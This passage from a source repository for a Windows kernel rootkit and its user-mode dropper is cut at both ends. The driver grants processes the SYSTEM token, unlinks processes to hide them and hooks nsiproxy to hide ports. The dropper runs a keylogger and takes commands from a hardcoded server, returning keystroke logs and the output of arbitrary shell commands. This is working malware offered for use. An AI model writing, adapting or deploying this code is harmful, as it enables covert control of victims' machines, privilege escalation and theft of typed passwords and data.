CurrListEntry->Blink = CurrListEntry; 176 | 177 | //decrease reference count of EPROCESS object 178 | 179 | ObDereferenceObject(EProc); 180 | 181 | status = STATUS_SUCCESS; 182 | return status; 183 | 184 | } 185 | 186 | static NTSTATUS ElevateByPid(ULONG pid) { 187 | 188 | 189 | NTSTATUS status; 190 | 191 | PEPROCESS EProc; 192 | PEPROCESS systemProc; 193 | 194 | 195 | //get EPROCESS structure for process to be elevated 196 | status = PsLookupProcessByProcessId(reinterpret_cast(pid), &EProc); 197 | 198 | if (!NT_SUCCESS(status)) { 199 | KdPrint(("Elevate: Failed to locate process by pid. code: (0x%08X)\n", status)); 200 | return status; 201 | } 202 | 203 | //get EPROCESS structure for system process 204 | status = PsLookupProcessByProcessId(reinterpret_cast(4), &systemProc); 205 | 206 | if (!NT_SUCCESS(status)) { 207 | KdPrint(("Elevate: Failed to locate SYSTEM process by pid. code: (0x%08X)\n", status)); 208 | return status; 209 | } 210 | 211 | 212 | KdPrint(("HIDE_PROC: EPROCESS struct addr: %p\n", EProc)); 213 | KdPrint(("HIDE_PROC: SYSTEM EPROCESS struct addr: %p\n", systemProc)); 214 | 215 | EX_FAST_REF systemToken = *reinterpret_cast((TOKEN_OFFSET + reinterpret_cast(systemProc))); 216 | 217 | KdPrint(("HIDE_PROC: System token EX_FAST_REF: %lu\n", systemToken.Value)); 218 | 219 | //elevate change the process token to point at the system token 220 | InterlockedExchange(reinterpret_cast(reinterpret_cast(EProc)+TOKEN_OFFSET),systemToken.Value); 221 | 222 | //decrease reference count of EPROCESS objects 223 | ObDereferenceObject(EProc); 224 | ObDereferenceObject(systemProc); 225 | 226 | return status; 227 | 228 | } 229 | 230 | static NTSTATUS IntegerFromIrp(PIRP Irp, PULONG ret) { 231 | 232 | 233 | NTSTATUS status = STATUS_SUCCESS; 234 | 235 | ANSI_STRING pidAnsiString; 236 | UNICODE_STRING pidUnicodeString; 237 | 238 | RtlInitAnsiString(&pidAnsiString, (PCSZ)Irp->AssociatedIrp.SystemBuffer); 239 | RtlAnsiStringToUnicodeString(&pidUnicodeString, &pidAnsiString, TRUE); 240 | 241 | 242 | if (!NT_SUCCESS(RtlUnicodeStringToInteger(&pidUnicodeString, 10, ret))) { 243 | status = STATUS_INVALID_PARAMETER; 244 | Irp->IoStatus.Information = 0; 245 | return status; 246 | } 247 | 248 | if (!(*ret)) 249 | { 250 | status = STATUS_INVALID_PARAMETER; 251 | Irp->IoStatus.Information = 0; 252 | return status; 253 | } 254 | 255 | return status; 256 | 257 | } 258 | -------------------------------------------------------------------------------- /rootkit_driver/ioctl_handlers.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | namespace IoctlHandlers { 5 | 6 | NTSTATUS HandleHideProcess(PIRP Irp); 7 | 8 | NTSTATUS HandleTestConnection(PIRP Irp,ULONG bufferSize); 9 | 10 | NTSTATUS HandleElevate(PIRP Irp); 11 | 12 | NTSTATUS HandleHidePort(PIRP Irp); 13 | } -------------------------------------------------------------------------------- /rootkit_driver/rootkit.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "Ioctl.h" 3 | #include 4 | #include "ioctl_handlers.h" 5 | #include "token_info.h" 6 | #include "hide_port.h" 7 | 8 | void RootkitUnload(_In_ PDRIVER_OBJECT DriverObject); 9 | NTSTATUS RootkitCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp); 10 | NTSTATUS RootkitDeviceControl(PDEVICE_OBJECT, PIRP Irp); 11 | 12 | extern "C" NTSTATUS 13 | DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) { 14 | UNREFERENCED_PARAMETER(RegistryPath); 15 | 16 | KdPrint(("Rootkit DriverEntry started\n")); 17 | 18 | DriverObject->DriverUnload = RootkitUnload; 19 | 20 | DriverObject->MajorFunction[IRP_MJ_CREATE] = RootkitCreateClose; 21 | DriverObject->MajorFunction[IRP_MJ_CLOSE] = RootkitCreateClose; 22 | DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = RootkitDeviceControl; 23 | 24 | UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\Device\\Rootkit"); 25 | 26 | PDEVICE_OBJECT DeviceObject; 27 | 28 | NTSTATUS status = IoCreateDevice(DriverObject, 0, &devName, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject); 29 | 30 | if (!NT_SUCCESS(status)) { 31 | KdPrint(("Failed to create device (0x%08X)\n", status)); 32 | return status; 33 | } 34 | 35 | UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Rootkit"); 36 | status = IoCreateSymbolicLink(&symLink, &devName); 37 | if (!NT_SUCCESS(status)) { 38 | KdPrint(("Failed to create symbolic link (0x%08X)\n", status)); 39 | IoDeleteDevice(DeviceObject); 40 | return status; 41 | } 42 | 43 | DriverObject->Flags &= ~DO_DEVICE_INITIALIZING; 44 | DeviceObject->Flags |= DO_BUFFERED_IO; 45 | 46 | //init IRP hook for the nsiproxy driver 47 | NetHook::initNsiHook(); 48 | 49 | KdPrint(("Rootkit DriverEntry completed successfully\n")); 50 | 51 | return STATUS_SUCCESS; 52 | } 53 | 54 | void RootkitUnload(_In_ PDRIVER_OBJECT DriverObject) { 55 | 56 | UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Rootkit"); 57 | IoDeleteSymbolicLink(&symLink); 58 | IoDeleteDevice(DriverObject->DeviceObject); 59 | 60 | //remove nsiproxy IRP hook 61 | NetHook::unhookNsiProxy(); 62 | 63 | KdPrint(("Rootkit unloaded\n")); 64 | } 65 | 66 | 67 | NTSTATUS RootkitCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) { 68 | 69 | UNREFERENCED_PARAMETER(DeviceObject); 70 | 71 | 72 | KdPrint(("Rootkit create/close\n")); 73 | 74 | Irp->IoStatus.Status = STATUS_SUCCESS; 75 | Irp->IoStatus.Information = 0; 76 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 77 | 78 | 79 | return STATUS_SUCCESS; 80 | } 81 | 82 | 83 | NTSTATUS RootkitDeviceControl(PDEVICE_OBJECT, PIRP Irp) { 84 | 85 | auto stack = IoGetCurrentIrpStackLocation(Irp); 86 | NTSTATUS status = STATUS_SUCCESS; 87 | 88 | switch (static_cast(stack->Parameters.DeviceIoControl.IoControlCode)) { 89 | 90 | case RookitIoctls::HideProcces: 91 | 92 | status = IoctlHandlers::HandleHideProcess(Irp); 93 | break; 94 | 95 | case RookitIoctls::TestConnection: 96 | 97 | status = IoctlHandlers::HandleTestConnection(Irp, stack->Parameters.DeviceIoControl.OutputBufferLength); 98 | break; 99 | 100 | case RookitIoctls::Elevate: 101 | 102 | status = IoctlHandlers::HandleElevate(Irp); 103 | break; 104 | 105 | case RookitIoctls::HidePort: 106 | 107 | status = IoctlHandlers::HandleHidePort(Irp); 108 | break; 109 | default: 110 | Irp->IoStatus.Information = 0; 111 | status = STATUS_INVALID_DEVICE_REQUEST; 112 | break; 113 | 114 | } 115 | 116 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 117 | return status; 118 | } 119 | -------------------------------------------------------------------------------- /rootkit_driver/token_info.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | typedef struct _EX_FAST_REF { 4 | union { 5 | PVOID Object; 6 | ULONG RefCnt : 3; 7 | ULONG Value; 8 | }; 9 | } EX_FAST_REF, * PEX_FAST_REF; 10 | 11 | 12 | constexpr int TOKEN_OFFSET = 0xf8; 13 | constexpr int TOKEN_OFFSET_SIDCOUNT = 0x7c; 14 | constexpr int TOKEN_OFFSET_PRIV = 0x040; 15 | constexpr int TOKEN_OFFSET_ENABLED = 0x048; 16 | constexpr int TOKEN_OFFSET_DEFAULT = 0x050; 17 | 18 | -------------------------------------------------------------------------------- /rootkit_dropper/Ioctl.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | constexpr int ROOTKIT_DEVICE = 0x8000; 4 | 5 | enum class RookitIoctls { 6 | HideProcces = CTL_CODE(ROOTKIT_DEVICE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS), 7 | TestConnection = CTL_CODE(ROOTKIT_DEVICE, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) 8 | }; 9 | -------------------------------------------------------------------------------- /rootkit_dropper/common.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | bool logError(const char* message) { 4 | std::cout << "ERROR: " << message << "errcode = " << GetLastError(); 5 | return false; 6 | } 7 | 8 | std::string cmd_exec(const char* cmd) { 9 | std::array buffer; 10 | std::string result; 11 | std::unique_ptr pipe(_popen(cmd, "r"), _pclose); 12 | if (!pipe) { 13 | throw std::runtime_error("call to popen() failed!"); 14 | } 15 | while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) { 16 | result += buffer.data(); 17 | } 18 | return result; 19 | } -------------------------------------------------------------------------------- /rootkit_dropper/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | #define WIN32_LEAN_AND_MEAN 6 | #include 7 | #include 8 | #include 9 | #pragma comment(lib, "Ws2_32.lib") 10 | 11 | 12 | /* 13 | the definition of "WIN32_LEAN_AND_MEAN" excludes some driver macros. 14 | this is a copy of them. 15 | */ 16 | #include "d4drvif.h" 17 | std::string cmd_exec(const char* cmd); 18 | bool logError(const char* message); -------------------------------------------------------------------------------- /rootkit_dropper/d4drvif.h: -------------------------------------------------------------------------------- 1 | /*++ 2 | Copyright (c) Microsoft Corporation. All rights reserved. 3 | Module Name: 4 | D4drvif.h 5 | Abstract: 6 | DOT4 Driver Interface 7 | --*/ 8 | 9 | #ifndef _DOT4DRVIF_H 10 | #define _DOT4DRVIF_H 11 | 12 | ////////////////////////////////////////////////////////////////////////////// 13 | // Includes 14 | ////////////////////////////////////////////////////////////////////////////// 15 | 16 | 17 | ////////////////////////////////////////////////////////////////////////////// 18 | // Defines 19 | ////////////////////////////////////////////////////////////////////////////// 20 | #define MAX_SERVICE_LENGTH 40 21 | 22 | 23 | #ifndef CTL_CODE 24 | 25 | // 26 | // Macro definition for defining IOCTL and FSCTL function control codes. Note 27 | // that function codes 0-2047 are reserved for Microsoft Corporation, and 28 | // 2048-4095 are reserved for customers. 29 | // 30 | 31 | #define CTL_CODE( DeviceType, Function, Method, Access ) ( \ 32 | ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \ 33 | ) 34 | 35 | // 36 | // Define the method codes for how buffers are passed for I/O and FS controls 37 | // 38 | 39 | #define METHOD_BUFFERED 0 40 | #define METHOD_IN_DIRECT 1 41 | #define METHOD_OUT_DIRECT 2 42 | #define METHOD_NEITHER 3 43 | 44 | // 45 | // Define the access check value for any access 46 | // 47 | // 48 | // The FILE_READ_ACCESS and FILE_WRITE_ACCESS constants are also defined in 49 | // ntioapi.h as FILE_READ_DATA and FILE_WRITE_DATA. The values for these 50 | // constants *MUST* always be in sync. 51 | // 52 | 53 | 54 | #define FILE_ANY_ACCESS 0 55 | #define FILE_READ_ACCESS ( 0x0001 ) // file & pipe 56 | #define FILE_WRITE_ACCESS ( 0x0002 ) // file & pipe 57 | 58 | #endif 59 | #endif -------------------------------------------------------------------------------- /rootkit_dropper/driver_handler.cpp: -------------------------------------------------------------------------------- 1 | #include "driver_handler.h" 2 | #include "common.h" 3 | 4 | 5 | Driver::DriverHandler::DriverHandler() { 6 | device_handle_ = CreateFile( 7 | Driver::DeviceName, 8 | GENERIC_WRITE, 9 | FILE_SHARE_WRITE, 10 | nullptr, 11 | OPEN_EXISTING, 12 | 0, 13 | nullptr 14 | ); 15 | } 16 | 17 | 18 | Driver::DriverHandler::~DriverHandler() { 19 | CloseHandle(device_handle_); 20 | } 21 | 22 | 23 | bool Driver::DriverHandler::check_connection(char* message) 24 | { 25 | char ReadBuffer[Driver::TestConnectionMaxLength] = { 0 }; 26 | DWORD returned; 27 | bool status = DeviceIoControl( 28 | device_handle_, 29 | static_cast(Driver::RookitIoctls::TestConnection), 30 | message, strlen(message), 31 | ReadBuffer, 32 | sizeof(ReadBuffer), 33 | &returned, 34 | nullptr 35 | ); 36 | 37 | 38 | if (status) 39 | std::cout << "Message received from kerneland : " << ReadBuffer << "\n"; 40 | else 41 | logError("Connection Test Failed."); 42 | 43 | return status; 44 | } 45 | 46 | 47 | bool Driver::DriverHandler::hide_process(char* message) { 48 | DWORD returned; 49 | 50 | bool status = DeviceIoControl( 51 | device_handle_, 52 | static_cast(Driver::RookitIoctls::HideProcces), 53 | message, 54 | strlen(message), 55 | nullptr, 56 | 0, 57 | &returned, 58 | nullptr 59 | ); 60 | 61 | if (status) 62 | std::cout << "Process successfully hidden!\n"; 63 | else 64 | logError("couldn't hide process"); 65 | 66 | return status; 67 | } 68 | 69 | bool Driver::DriverHandler::elevate_process(char* message) { 70 | DWORD returned; 71 | 72 | bool status = DeviceIoControl( 73 | device_handle_, 74 | static_cast(Driver::RookitIoctls::Elevate), 75 | message, 76 | strlen(message), 77 | nullptr, 78 | 0, 79 | &returned, 80 | nullptr 81 | ); 82 | 83 | if (status) 84 | std::cout << "Process successfully elevated!\n"; 85 | else 86 | logError("couldn't elevate process"); 87 | 88 | return status; 89 | } 90 | 91 | bool Driver::DriverHandler::hide_port(char* message) { 92 | DWORD returned; 93 | 94 | bool status = DeviceIoControl( 95 | device_handle_, 96 | static_cast(Driver::RookitIoctls::HidePort), 97 | message, 98 | strlen(message), 99 | nullptr, 100 | 0, 101 | &returned, 102 | nullptr 103 | ); 104 | 105 | if (status) 106 | std::cout << "Port successfully Hidden!\n"; 107 | else 108 | logError("couldn't hide port"); 109 | 110 | return status; 111 | } 112 | 113 | HANDLE Driver::DriverHandler::device_handle(){ 114 | return device_handle_; 115 | } 116 | -------------------------------------------------------------------------------- /rootkit_dropper/driver_handler.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "common.h" 3 | namespace Driver{ 4 | 5 | constexpr int RootkitDeviceType = 0x8000; 6 | constexpr int TestConnectionMaxLength = 1024; 7 | constexpr auto DeviceName = L"\\\\.\\Rootkit"; 8 | 9 | enum class RookitIoctls { 10 | HideProcces = CTL_CODE(RootkitDeviceType, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS), 11 | TestConnection = CTL_CODE(RootkitDeviceType, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS), 12 | Elevate = CTL_CODE(RootkitDeviceType, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS), 13 | HidePort = CTL_CODE(RootkitDeviceType, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS) 14 | }; 15 | 16 | class DriverHandler { 17 | HANDLE device_handle_; 18 | 19 | public: 20 | DriverHandler(); 21 | ~DriverHandler(); 22 | bool check_connection(char* message); 23 | bool hide_process(char* message); 24 | bool elevate_process(char* message); 25 | bool hide_port(char* message); 26 | HANDLE device_handle(); 27 | }; 28 | } 29 | -------------------------------------------------------------------------------- /rootkit_dropper/keylog.cpp: -------------------------------------------------------------------------------- 1 | #include "keylog.h" 2 | std::atomic Logger::log_running(false); 3 | 4 | void Logger::logger_thread() { 5 | 6 | Logger::log_running = true; 7 | 8 | char c; 9 | 10 | while(true) { 11 | 12 | if (!Logger::log_running) return; 13 | 14 | for (c = 8; c <= 222; c++) { 15 | 16 | if (!Logger::log_running) return; 17 | 18 | if (GetAsyncKeyState(c) == -32767) { 19 | 20 | std::ofstream write(Logger::FILE_NAME, std::ios::app); 21 | 22 | if (((c > 64) && (c < 91)) && !(GetAsyncKeyState(0x10))) 23 | { 24 | c += 32; 25 | write << c; 26 | write.close(); 27 | break; 28 | } 29 | else if ((c > 64) && (c < 91)) 30 | { 31 | 32 | write << c; 33 | write.close(); 34 | break; 35 | } 36 | else { 37 | 38 | switch (c) 39 | { 40 | case 48: 41 | { 42 | if (GetAsyncKeyState(0x10)) 43 | 44 | write << ")"; 45 | else 46 | write << "0"; 47 | 48 | 49 | } 50 | break; 51 | 52 | 53 | 54 | case 49: 55 | { 56 | if (GetAsyncKeyState(0x10)) 57 | 58 | write << "!"; 59 | else 60 | write << "1"; 61 | 62 | 63 | } 64 | break; 65 | 66 | case 50: 67 | { 68 | if (GetAsyncKeyState(0x10)) 69 | 70 | write << "@"; 71 | else 72 | write << "2"; 73 | 74 | } 75 | break; 76 | case 51: 77 | { 78 | if (GetAsyncKeyState(0x10)) 79 | 80 | write << "#"; 81 | else 82 | write << "3"; 83 | 84 | 85 | } 86 | break; 87 | case 52: 88 | { 89 | if (GetAsyncKeyState(0x10)) 90 | 91 | write << "$"; 92 | else 93 | write << "4"; 94 | 95 | 96 | } 97 | break; 98 | case 53: 99 | { 100 | if (GetAsyncKeyState(0x10)) 101 | 102 | write << "%"; 103 | else 104 | write << "5"; 105 | 106 | 107 | } 108 | break; 109 | case 54: 110 | { 111 | if (GetAsyncKeyState(0x10)) 112 | 113 | write << "^"; 114 | else 115 | write << "6"; 116 | 117 | 118 | } 119 | break; 120 | case 55: 121 | { 122 | if (GetAsyncKeyState(0x10)) 123 | 124 | write << "&"; 125 | else 126 | write << "7"; 127 | 128 | 129 | } 130 | break; 131 | case 56: 132 | { 133 | if (GetAsyncKeyState(0x10)) 134 | 135 | write << "*"; 136 | else 137 | write << "8"; 138 | 139 | 140 | } 141 | break; 142 | case 57: 143 | { 144 | if (GetAsyncKeyState(0x10)) 145 | 146 | write << "("; 147 | else 148 | write << "9"; 149 | 150 | 151 | } 152 | break; 153 | 154 | case VK_SPACE: 155 | write << " "; 156 | break; 157 | case VK_RETURN: 158 | write << "\n"; 159 | break; 160 | case VK_TAB: 161 | write << " "; 162 | break; 163 | case VK_BACK: 164 | write << ""; 165 | break; 166 | case VK_DELETE: 167 | write << ""; 168 | break; 169 | 170 | default: 171 | write << c; 172 | } 173 | 174 | } 175 | 176 | } 177 | } 178 | } 179 | } -------------------------------------------------------------------------------- /rootkit_dropper/keylog.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "common.h" 3 | #include 4 | #include 5 | #include 6 | namespace Logger { 7 | 8 | constexpr char FILE_NAME[] = "log.txt"; 9 | extern std::atomic log_running; 10 | void logger_thread(); 11 | 12 | } -------------------------------------------------------------------------------- /rootkit_dropper/main.cpp: -------------------------------------------------------------------------------- 1 | #include "driver_handler.h" 2 | #include "network_handler.h" 3 | #include "common.h" 4 | #include "keylog.h" 5 | #include 6 | 7 | static void executeCommands(Driver::DriverHandler& rootkit_handler, Network::RootkitClient& network_client); 8 | 9 | int main(int argc, const char* argv[]) { 10 | 11 | //rootkit_handler: interacts with rootkit driver 12 | Driver::DriverHandler rootkit_handler; 13 | 14 | if (rootkit_handler.device_handle() == INVALID_HANDLE_VALUE) 15 | return logError("couldn't open a handle"); 16 | 17 | //network_client: interacts with the server. 18 | Network::RootkitClient network_client; 19 | 20 | //keylogger thread 21 | std::thread t(Logger::logger_thread); 22 | 23 | //execute remote commands 24 | executeCommands(rootkit_handler, network_client); 25 | 26 | //terminate keylogger thread 27 | Logger::log_running = false; 28 | t.join(); 29 | 30 | //Cleanup in network_client deconstructor... 31 | return 0; 32 | } 33 | 34 | static void executeCommands(Driver::DriverHandler& rootkit_handler, Network::RootkitClient& network_client) { 35 | while (true) { 36 | 37 | std::string buf; 38 | network_client.ReceiveText(buf); 39 | 40 | std::cout << "recieved command over network: "<< buf << "\n"; 41 | 42 | if (buf.rfind("$testConnection",0) == 0) { 43 | 44 | buf = buf.substr(buf.find(" ") + 1); 45 | 46 | if (!rootkit_handler.check_connection(const_cast(buf.c_str()))) 47 | network_client.SendText("Problem asserting connection with driver"); 48 | 49 | else { 50 | network_client.SendText("Connected! message echoed successfully"); 51 | } 52 | 53 | } 54 | else if (buf.rfind("$hideProcess", 0) == 0) { 55 | 56 | buf = buf.substr(buf.find(" ") + 1); 57 | 58 | if (!rootkit_handler.hide_process(const_cast(buf.c_str()))) 59 | network_client.SendText("Couldn't hide process"); 60 | 61 | else { 62 | network_client.SendText("Process hidden successfully"); 63 | } 64 | 65 | } 66 | else if (buf.rfind("$elevateProcess", 0) == 0) { 67 | 68 | buf = buf.substr(buf.find(" ") + 1); 69 | 70 | if (!rootkit_handler.elevate_process(const_cast(buf.c_str()))) 71 | network_client.SendText("Couldn't elevate process privillages"); 72 | 73 | else { 74 | network_client.SendText("Process privillages elevated"); 75 | } 76 | 77 | } 78 | else if (buf.rfind("$hidePort", 0) == 0) { 79 | 80 | buf = buf.substr(buf.find(" ") + 1); 81 | 82 | if (!rootkit_handler.hide_port(const_cast(buf.c_str()))) 83 | network_client.SendText("Couldn't hide port"); 84 | 85 | else { 86 | network_client.SendText("Port Hidden!"); 87 | } 88 | 89 | } 90 | else if (buf.rfind("$keylogger", 0) == 0) { 91 | 92 | std::ifstream ifs(Logger::FILE_NAME); 93 | std::string content((std::istreambuf_iterator(ifs)), 94 | (std::istreambuf_iterator())); 95 | 96 | network_client.SendText(content); 97 | } 98 | else if (buf.rfind("$shellExecute", 0) == 0) { 99 | 100 | buf = buf.substr(buf.find(" ") + 1); 101 | network_client.SendText(cmd_exec(buf.c_str())); 102 | 103 | } 104 | else if (buf.rfind("$exit", 0) == 0) { 105 | break; 106 | } 107 | else { 108 | std::cout << "command not recognized\n"; 109 | } 110 | 111 | 112 | } 113 | 114 | 115 | } 116 | -------------------------------------------------------------------------------- /rootkit_dropper/network_handler.cpp: -------------------------------------------------------------------------------- 1 | #include "network_handler.h" 2 | Network::WrapWSA::WrapWSA() { 3 | WSAData wsaData; 4 | 5 | if (WSAStartup(MAKEWORD(2, 2), &wsaData)) { 6 | throw std::exception("Error on starting sockets"); 7 | } 8 | 9 | } 10 | void Network::WrapWSA::cleanup() { 11 | std::cout << "WSACleanup called\n"; 12 | WSACleanup(); 13 | } 14 | int Network::WrapWSA::getError() { 15 | return WSAGetLastError(); 16 | } 17 | 18 | bool Network::RootkitClient::connect_to_server() { 19 | 20 | sockaddr_in server; 21 | InetPtonA(AF_INET, Network::SERVER_IP , &(server.sin_addr)); 22 | //server.sin_addr.s_addr = inet_addr(ipaddress.c_str()); 23 | server.sin_family = AF_INET; 24 | server.sin_port = htons(port_); 25 | return connect(server_socket_, (const sockaddr*)&server, sizeof(server)) == 0; 26 | 27 | } 28 | 29 | Network::RootkitClient::RootkitClient(): port_(Network::SERVER_PORT){ 30 | wsa_ = Network::WrapWSA(); 31 | server_socket_ = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 32 | 33 | std::cout << "checking got socket...\n"; 34 | 35 | 36 | if (server_socket_ == INVALID_SOCKET) 37 | throw std::exception("Couldn't open socket"); 38 | 39 | std::cout << "trying init\n"; 40 | 41 | 42 | bool status = connect_to_server(); 43 | 44 | 45 | if (!status) 46 | throw std::exception("couldn't listen/bind to port"); 47 | 48 | std::cout << "done init\n"; 49 | 50 | } 51 | 52 | Network::RootkitClient::~RootkitClient() { 53 | 54 | std::cout << "closing socket.\n"; 55 | 56 | closesocket(server_socket_); 57 | wsa_.cleanup(); 58 | } 59 | 60 | 61 | bool Network::RootkitClient::ReceiveText(std::string& text) { 62 | 63 | char recived_buffer[MAX_PACKET_SIZE]{ 0 }; 64 | 65 | int bytes_recived = recv(server_socket_, recived_buffer, MAX_PACKET_SIZE, 0); 66 | 67 | if (bytes_recived == SOCKET_ERROR) { 68 | std::cout << "SOCKET ERROR! errorcode:"; 69 | std::cout << wsa_.getError() << "\n"; 70 | return false; 71 | } 72 | std::cout << recived_buffer << "\n"; 73 | 74 | text += recived_buffer; 75 | 76 | return text.size(); 77 | } 78 | 79 | 80 | bool Network::RootkitClient::SendText(std::string& text) { 81 | 82 | int bytes_recived = send(server_socket_, text.c_str(), text.size(), 0); 83 | 84 | if (bytes_recived == SOCKET_ERROR) { 85 | std::cout << "SOCKET ERROR! errorcode:"; 86 | std::cout <